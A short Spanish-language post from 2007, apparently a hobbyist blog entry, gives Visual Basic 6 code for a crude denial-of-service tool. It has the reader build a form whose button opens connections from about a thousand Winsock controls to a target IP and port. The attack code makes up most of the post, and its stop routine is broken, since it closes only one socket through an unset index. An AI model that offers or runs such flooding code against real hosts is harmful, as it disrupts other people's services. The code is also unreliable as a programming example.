Ddos en VB6
November 26, 2007En un form colocamos 2 botones y 2 textbox, ademas de un Array de 1000 Winsocks
<codigo>
Private Sub cmdDoS_Click()
For i = 0 To 1000
sckDoS(i).RemoteHost = txtIp.Text
sckDoS(i).RemotePort = PTtxt.Text
sckDoS(i).Connect
Next i
End Sub
Private Sub cmdStop_Click()
sckDoS(i).Close
End Sub
</codigo>
al primer boton lo nombramos cmdDoS y al 2do cmdStop, los textboxs son txtIp y PTtxt y el Winsock lo renombramos a sckDoS
